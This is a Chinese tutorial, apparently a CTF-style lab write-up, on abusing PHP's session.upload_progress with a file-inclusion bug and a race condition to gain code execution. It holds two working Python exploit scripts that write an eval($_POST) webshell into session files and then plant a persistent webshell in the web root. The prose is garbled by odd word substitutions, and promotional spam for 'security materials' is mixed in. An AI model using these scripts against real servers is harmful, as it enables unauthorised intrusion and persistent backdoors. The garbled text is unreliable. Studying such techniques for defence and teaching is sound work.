session.upload_progress.enabled = onsession.upload_progress.cleanup = onsession.upload_progress.prefix = 34;upload_progress_"session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.enabled可以掌握是否开启session.upload_progress功能session.upload_progress.cleanup可以掌握是否在上传之后删除文件内容session.upload_progress.prefix可以设置上传文件内容的前缀session.upload_progress.name的值即为session中的键值
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回答“领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战履历分享条记
4.网安大厂口试题合集
5.红蓝对抗实战技能秘籍
6.网络安全根本入门、Linux、web安全、渗透测试方面视频
session.upload_progress开启之后会有什么效果?
当我们将session.upload_progress.enabled的值设置为on时,此时我们再往做事器中上传一个文件时,PHP会把该文件的详细信息(如上传韶光、上传进度等)存储在session当中。
问题1:
那么这个时候就会有一个条件条件,便是如何初始化session并且把session中的内容写到文件中去呢?
剖析1:
我们可以把稳到,php.ini中session.use_strict_mode选项默认是0,在这个情形下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会天生一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,详细文件的内容是什么,后面会写到。
问题2:
当session.upload_progress.cleanup的值为on时,纵然上传文件,但是上传完成之后文件内容会被清空,这怎么办?
剖析2:
利用Python的多线程,进行条件竞争。
如何利用session.upload_progress进行RCE?
然而,理论再多也没用,还是得一步步调试,看看在文件上传的时候,整一个PHP做事端到底发生了什么。以是还是须要做实验。
首先,在网站根目录下随便新建一个test.php文件
然后写一个Python程序用于往做事器上上传文件:
这里有几个把稳点:
上传的文件大小为50KB,文件名为Lxxx.jpg该程序设置的sessionid为Lxxx,也便是说会在/tmp目录下天生sess_Lxxx文件该程序设置的PHP_SESSION_UPLOAD_PROGRESS值为一句话木马,也便是说,在理论上,一句话木马会被写入到/tmp/sess_Lxxx中import requestsimport iourl = "http://192.168.2.128/test.php"sessid = "Lxxx"def write(session): filebytes = io.BytesIO(b'a' 1024 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID': sessid }, files={ 'file': ('Lxxx.jpg', filebytes) } )if __name__ == "__main__": with requests.session() as session: write(session)
实行程序后,我们须要用tail -f命令实时查看/tmp/sess_Lxxx文件,由于在本地测试速率比较快,如果利用cat命令,文件内容还没输出就被删除了。
tail -f /tmp/sess_Lxxx
结果如下:
也便是说,/tmp/sess_Lxxx文件中的内容为:
upload_progress_<?php eval($_POST[1]);?>|a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
仔细剖析一下该文件内容,该文件分为两块,以竖线|区分。
第一块内容如下:
upload_progress_<?php eval($_POST[1]);?>
这一块内容由以下两个值组成:session.upload_progress.name+PHP_SESSION_UPLOAD_PROGRESS
第二块内容如下:
a:5:{s:10:"start_time";i:1631343214;s:14:"content_length";i:276;s:15:"bytes_processed";i:276;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"Lxxx.jpg";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1631343214;s:15:"bytes_processed";i:276;}}}
一看便是序列化之后的值,我们将其进行反序列化后输出:
array(5) {["start_time"]=> int(1631343214)["content_length"]=> int(276)["bytes_processed"]=> int(276)["done"]=> bool(false)["files"]=> array(1) { [0]=> array(7) { ["field_name"]=> string(4) "file" ["name"]=> string(8) "Lxxx.jpg" ["tmp_name"]=> NULL ["error"]=> int(0) ["done"]=> bool(false) ["start_time"]=> int(1631343214) ["bytes_processed"]=> int(276) }}}
可以看到这里记录了文件上传韶光、文件大小、文件名称等等文件属性。
接下来在网站根目录新建一个test.php文件,文件内容如下:
<?php$a = $_GET["a"];include($a);
很明显有一个文件包含的漏洞。
接下来我们利用session.upload_progress进行条件竞争
以下代码有几个把稳点:
首先,函数write和上面的是一样的,这里就不做过多的赘述了全体代码的思路便是,往/tmp/sess_Lxxx文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中考试测验利用/tmp/sess_Lxxx的一句话往网站根目录文件1.php写一句话木马,密码为2利用Python的多线程,一边上传文件,一边考试测验往根目录中写入1.php,如果成功写入了,就打印输出“成功写入一句话”这里利用Python的threading模块,开5个线程进行条件竞争代码如下:
import requestsimport ioimport threadingurl = "http://192.168.2.128/test.php"sessid = "Lxxx"def write(session): filebytes = io.BytesIO(b'a' 1024 50) while True: res = session.post(url, data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID': sessid }, files={ 'file': ('Lxxx.jpg', filebytes) } )def read(session): while True: res = session.post(url+"?a=/tmp/sess_"+sessid, data={ "1":"file_put_contents('/www/admin/localhost_80/wwwroot/1.php' , '<?php eval($_POST[2]);?>');" }, cookies={ "PHPSESSID":sessid } ) res2 = session.get("http://192.168.2.128/1.php") if res2.status_code == 200: print("成功写入一句话!
") else: print("Retry")if __name__ == "__main__": evnet = threading.Event() with requests.session() as session: for i in range(5): threading.Thread(target=write, args=(session,)).start() for i in range(5): threading.Thread(target=read, args=(session,)).start() evnet.set()
代码实行结果如下:
一开始会一贯显示Retry,但是只要运行一段韶光就会成功写入一句话。
可以在网站根目录看到,成功写入一句话。
参考资料Nu1L战队的书本《从0到1 CTFer发展之路》 P140-141https://www.freebuf.com/vuls/202819.html实操推举:php竞争条件漏洞
PC端实操地址:http://mrw.so/5JFZS1
“竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。